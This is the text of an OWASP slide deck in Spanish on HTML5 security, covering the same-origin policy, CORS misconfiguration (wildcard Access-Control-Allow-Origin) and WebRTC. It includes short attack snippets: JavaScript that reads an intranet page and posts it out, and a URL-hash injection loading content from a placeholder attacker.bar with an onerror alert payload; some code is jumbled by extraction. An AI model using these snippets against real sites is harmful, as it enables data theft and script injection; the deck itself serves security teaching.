APÓYAME HTML5
Derechos de Autor y Licencia
Copyright © 2003 – 2014 Fundación OWASP
Este documento es publicado bajo la licencia Creative Commons
Attribution ShareAlike 3.0. Para cualquier reutilización o distribución,
usted debe dejar en claro a otros los términos de la licencia sobre
este trabajo.
The OWASP Foundation
http://www.owasp.org
http://www.owasp.org
WHOAMI?
Oscar Martínez Ruiz de Castilla
Ingeniero Electrónico
Magister en Ciencias de la Computación
CISM, C)ISSO
OSCP, C|EH, C|HFI, C)PTE, C)PTC, C)SWAE
C)DFE, OSEH
Sophos Certified Engineer
Especialista en Seguridad Informática
Con más de 10 años de experiencia en TI
Penetration Tester (Network / Web Application)
[email protected]
fiery-owl.blogspot.com
@oscar_mrdc
Callao, Lima, Perú, 3ra roca desde el Sol
http://www.owasp.org
MOTIVACIÓN
Capa de Presentación
Capa de Negocio
http://www.owasp.org
MOTIVACIÓN
http://www.owasp.org
MOTIVACIÓN
http://www.owasp.org
AGENDA
¿Qué es HTML 5?
Cross Origin Resource Sharing
Local Storage
¿Qué es WebRTC?
Ipcalf
http://www.owasp.org
¿Qué no es esta presentación?
Una investigación
¿Qué es esta presentación?
Una recopilación
http://www.owasp.org
Referencias:
https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet
http://feross.org/ (Feross Aboukhadijeh)
https://github.com/natevw (Nathan Vander Wilt)
http://2013.zeronights.org/includes/docs/Krzysztof_Kotowicz_-
_Hacking_HTML5.pdf
http://2011.appsecusa.org/p/pwn.pdf
http://www.w3schools.com/html/
The Web Application Hacker's Handbook
The Browser Hacker's Handbook
http://www.owasp.org
¿QUÉ ES HTML5?
¿HTML4 + 1 no?
http://www.owasp.org
¿QUE ES HTML5?
Nueva versión de HTML
Versión
HTML
HTML+
HTML 2.0
HTML 3.2
HTML 4.01
XHTML
HTML 5
Año
1991
1993
1995
1997
1999
2000
2012
http://www.owasp.org
¿QUE ES HTML5?
Status: Draft / Candidate Recommendations
2014-02-04
http://www.w3.org/TR/2014/CR-html5-20140204/
-> Las cosas pueden cambiar!
http://www.owasp.org
¿QUE ES HTML5?
HTML5 ~= HTML + JS + CSS
HTML5 nos permite una nueva gama de
funcionalidades (otra vez... muchas fueron creadas
sin pensar en la seguridad?)
http://www.owasp.org
¿POR QUÉ USAR HTML5?
Soportar múltiples dispositivos (dispositivos móviles)
JavaScript APIs
NO HAY NECESIDAD DE PLUGINS!
http://www.owasp.org
JavaScript APIs
✔ Communication: Web Messaging, Cross Origin Resource
Sharing, WebSockets
✔ Storage: Local Storage (Web Storage), Client-side
databases (Web Database)
✔ Geolocation
✔ Web Workers
✔ Sandboxed frames
http://www.owasp.org
http://www.owasp.org
HTML5
JavaScript APIs ->
MAYOR SUPERFICIE DE ATAQUE!
http://www.owasp.org
Un poco de historia
Xmlhttprequest
“XMLHttpRequest es un objeto JavaScript que proporciona
una forma fácil de obtener información de una URL sin
tener que recargar la pagina completa. Una pagina web
puede actualizar sólo una parte de la pagina sin interrumpir
lo que el usuario esta haciendo. XMLHttpRequest es
ampliamente usado en la programación AJAX
( Asynchronous JavaScript And XML).”
http://www.owasp.org
Un poco de historia
Same origin Policy
“Restringe la comunicación entre aplicaciones con diferente
origen”
http://www.owasp.org
Un poco de historia
SOP
http://www.owasp.org
Un poco de historia
Same origin Policy
Origin = protocolo + nombre de dominio + puerto
http://example.com/document
http://example.com/other/document/here
https://example.com/document
https://www.example.com/document
http://example.com:8080/document
http://www.owasp.org
Un poco de historia
Same origin Policy
SOP políticas múltiples:
DOM access (Document Object Model)
Cookies
Flash
Java
XMLHTTPRequest
http://www.owasp.org
Un poco de historia
Same origin Policy + XMLHttpRequest
“Significa que una web sólo puede utilizar el objeto
XMLHttpRequest para hacer peticiones HTTP AJAX al
mismo domino desde el que se cargó la página original.
Las peticiones a dominios diferentes serán descartadas.”
http://www.owasp.org
Un poco de historia
SOP
http://www.owasp.org
Un poco de historia
SOP
http://www.owasp.org
Same Origin Policy
SOP
Cross Origin Resource Sharing
CORS
http://www.owasp.org
Cross Origin Resource Sharing
Same Origin Policy es un “problema” para desarrollar
funcionalidades que requieran usar servicios o módulos
desarrollados por terceros.
El estándar propone incluir nuevas cabeceras HTTP en la
comunicación cliente-servidor para saber si se debe enviar
(servidor) o mostrar (navegador) un recurso concreto, en
función del origen de la petición.
http://www.owasp.org
Cross Origin Resource Sharing
Permite por ejemplo:
✔ Que una aplicación web exponga recursos a TODOS o a
un grupo de dominios (origenes).
✔ Que un cliente web pueda realizar request AJAX a
recursos de otros dominios.
http://www.owasp.org
Cross Origin Resource Sharing
http://www.owasp.org
Cross Origin Resource Sharing
Hay colores casera:
✔ Simple requests
✔ Preflighted requests
http://www.owasp.org
Cross Origin Resource Sharing - Simple
✔ GET
✔ POST
✔ HEAD
POST -> Content-Type:
✔ application/x-www-form-urlencoded
✔ multipart/form-data
✔ text/plain
✗ No agrega HEADERS propios (ejemplo: X-Modified)
Si es otro caso -> Preflighted request
http://www.owasp.org
Cross Origin Resource Sharing (simple)
EL navegador, cuando se va a realizar una petición asíncrona a un
dominio diferente, debe incluir automáticamente la cabecera ORIGIN
en la petición:
Origin: http://www.sitio1.com
Esta cabecera indicará al servidor el dominio desde el que se está
haciendo la petición (desde el que se recibió la página original). El
servidor tendrá una lista de dominios permitidos y, si este está en la
lista, devolverá el recurso solicitado incluyendo en la respuesta la
nueva cabecera Access-Control-Allow-Origin:
Access-Control-Allow-Origin: http://www.sitio1.com
Con esta cabecera el servidor indica el origen al que le permite leer
este contenido. El navegador siempre comprobará esta cabecera. Si
no se recibe o no indica el dominio correcto, bloqueará la respuesta
para no permitir acceso al DOM a ningún script procedente de un
dominio ‘extraño’.
http://www.owasp.org
www.test-cors.org
<script>
function showHint()
{
var i=new XMLHttpRequest;
var url="http://server.cors-api.appspot.com/server?
id=6127214&enable=true&status=200&credentials=false";
i.open("POST",url,true);
i.setRequestHeader('Content-Type','text/plain');
i.onload = function()
{document.getElementById("txtHint").innerHTML=i.responseText;}
i.send();
}
showHint();
</script>
http://www.owasp.org
http://www.owasp.org
Cross Origin Resource Sharing (simple)
Entonces puedo usar “Origin” como control de acceso no?
http://www.owasp.org
Cross Origin Resource Sharing
OWASP Testing Guide v4
Test Cross Origin Resource Sharing (OTG-CLIENT-002)
Check the HTTP headers in order to understand how
CORS is used, in particular we should be very interested in
the Origin header to learn which domains are allowed.
Insecure response with wildcard '*' in Access-Control-Allow-
Origin.
http://www.owasp.org
Response (note the 'Access-Control-Allow-Origin' header)
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml
[Response Body]
http://www.owasp.org
http://www.owasp.org
http://www.owasp.org
CORS Intranet
Ya que el servidor Intranet no se puede acceder desde Internet
(debido al firewall) y muchas aplicaciones hacen uso de los
servicios de Intranet
Access-Control-Allow-Origin: *
http://www.owasp.org
CORS Intranet
El atacante prepara un sitio web con código javascript y engaña a un
empleado para que acceda a dicha página desde la empresa.
El código javascript malicioso realiza Xmlhttprequest a Intranet.
xmlHttp=new XMLHttpRequest();
xmlHttp.open("GET","http://intranet.empresa.com",false);
xmlHttp.send();
doPost (xmlHttp.responseText);
http://www.owasp.org
CORS Intranet
Entonces el atacante puede acceder al contenido de Intranet.
http://www.owasp.org
HTML5 / WebRTC
BROWSER
CONFIGURACIÓN /
PROGRAMACIÓN
http://www.owasp.org
HTML5 / WebRTC
BROWSER
CONFIGURACIÓN /
PROGRAMACIÓN
El poder del '*'!
http://www.owasp.org
http://www.owasp.org
http://www.owasp.org
¿Qué pasa si tenemos alguna funcionalidad en ajax que no
valide que la url en el xlmhttprequest sea del mismo
dominio (casualmente porque antes no era necesario)?
OWASP Testing Guide v4
Test Cross Origin Resource Sharing (OTG-CLIENT-002)
http://www.owasp.org
http://example.foo/main.php#profile.php
<script>
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.respons
var resource = location.hash.substring(1);
req.open("GET",resource,true);
eText;
}
}
req.send();
</script>
http://www.owasp.org
http://example.foo/main.php#profile.php
http://example.foo/main.php#http://attacker.bar/file.php
Injected Content from attacker.bar <img src="#"
onerror="alert('Domain: '+document.domain)">
http://www.owasp.org
http://www.owasp.org
Si tenemos un navegador que permita HTML5, entonces
ahora ese ataque es posible.
Aplicación segura -> Aplicación insegura
(gracias HTML5!)
http://www.owasp.org
HTML5 / WebRTC
BROWSER
CONFIGURACIÓN /
PROGRAMACIÓN
http://www.owasp.org
http://www.owasp.org
<script>
function showHint()
{
}
showHint();
</script>
var i=new XMLHttpRequest;
var url="http://server.cors-api.appspot.com/server?
id=6127214&enable=true&status=200&credentials=false";
i.open("POST",url,true);
i.setRequestHeader('Content-Type','text/plain');
i.onload = function()
{document.getElementById("txtHint").innerHTML=i.responseText;}
Comentarios de: Apóyame HTML5 (0)
No hay comentarios